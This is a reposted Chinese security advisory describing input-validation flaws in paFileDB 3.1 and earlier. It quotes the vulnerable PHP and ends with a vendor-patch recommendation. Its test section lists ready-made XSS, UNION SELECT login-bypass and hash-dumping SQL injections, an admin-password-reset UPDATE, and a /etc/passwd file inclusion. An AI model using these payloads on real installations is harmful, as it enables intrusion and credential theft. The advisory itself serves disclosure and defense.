PAFileDB多个输入验证漏洞
2008-04-09 04:25:35来源:互联网 阅读 ()
发布日期:2005-06-16
更新日期:2005-06-16
受影响系统:
PHP Arena paFileDB 3.1描述:
PHP Arena paFileDB 3.0 Beta 3.1
PHP Arena paFileDB 3.0
PHP Arena paFileDB 2.1.1
PHP Arena paFileDB 1.1.3
BUGTRAQ ID: 13967
paFileDB是一款文件管理脚本,允许版主管理站点下载文件数据库,还可以编辑和删除文件。
paFileDB中存在多个输入验证漏洞,如下:
paFileDB中存在多个SQL注入漏洞,具体影响取决于数据库实现所支持的功能,但由于受影响查询的本质,影响可能很有限。
if ($login == "do")
{
$admin = $pafiledb_sql->query($db, "SELECT * FROM $db[prefix]_admin
WHERE admin_username = '$formname'", 1);
$formpw = md5($formpass);
if ($formpw == $admin[admin_password])
{
$adminip = getenv ("REMOTE_ADDR");
$ip = md5($adminip);
$user = $formname;
$pass = $formpw;
if ($authmethod == "cookies")
{
$cookiedata = "$ip|$formname|$formpw";
setcookie("pafiledbcookie", $cookiedata);
}
header("Location: admin.php");
}
变量$formname是直接从提交的登陆表单获得的,并直接在查询中执行,因此攻击者可以使用UNION SELECT绕过管理员认证。
在向pafiledb.php脚本的的sortby、filelist和pages参数传送用户提供参数时存在多个跨站脚本漏洞。利用这些漏洞可能导致入侵软件,劫持会话及其他对基础数据库的攻击。
paFileDB中还存在文件泄漏漏洞。pafiledb.php脚本的action参数受这个漏洞影响。
if ($login == "do") { include "./includes/$action/login.php"; exit; }
if ($ad == "logout") { include "./includes/admin/logout.php"; exit; }
if ($tm == "logout") { include "./includes/team/logout.php"; exit; }
没有过滤$action变量,因此可能导致目录遍历。
<*来源:James Bercegay (security@gulftech.org)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=111885787217807&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
http://pafiledb/pafiledb.php?action=viewall&start=20&sortby=name">
http://pafiledb/pafiledb.php?action=category&id=1&filelist=">
http://pafiledb/pafiledb.php?action=category&id=1&pages=">
SQL注入漏洞:
http://pafiledb/pafiledb.php?action=admin&login=do&formname=-99' UNION SELECT admin_id, admin_username, '6f1ed002ab5595859014ebf0951522d9', admin_email, 1 FROM pafiledb_admin WHERE '1&formpass=blah&B1=>> Log In <<&action=admin&login=do
http://pafiledb/pafiledb.php?select=-99' UNION SELECT 0,admin_username,admin_password,0,0,0,0 FROM pafiledb_admin WHERE 1/*&B1=>> Edit Category <<&action=team&tm=category&category=edit&edit=form&menu1=/pafiledb/pafiledb.php?action=team&tm=category&category=edit
http://pafiledb/pafiledb.php?id=-99' UNION SELECT 0,admin_username,admin_password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 FROM pafiledb_admin WHERE 1/*&B1=>> Edit File <<&action=team&tm=file&file=edit&edit=form&menu1=/pafiledb/pafiledb.php?action=team&tm=file&file=edit
http://pafiledb/pafiledb.php?action=team&tm=file&file=edit&id=1&edit=do&query=UPDATE pafiledb_admin SET admin_password = MD5(1337( WHERE 1/*
本地文件包含漏洞:
http://pafiledb/pafiledb.php?action=../../../../etc/passwd\0&login=do
建议:
厂商补丁:
PHP Arena
---------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
www.phparena.net
标签:
版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有
IDC资讯: 主机资讯 注册资讯 托管资讯 vps资讯 网站建设
网站运营: 建站经验 策划盈利 搜索优化 网站推广 免费资源
网络编程: Asp.Net编程 Asp编程 Php编程 Xml编程 Access Mssql Mysql 其它
服务器技术: Web服务器 Ftp服务器 Mail服务器 Dns服务器 安全防护
软件技巧: 其它软件 Word Excel Powerpoint Ghost Vista QQ空间 QQ FlashGet 迅雷
网页制作: FrontPages Dreamweaver Javascript css photoshop fireworks Flash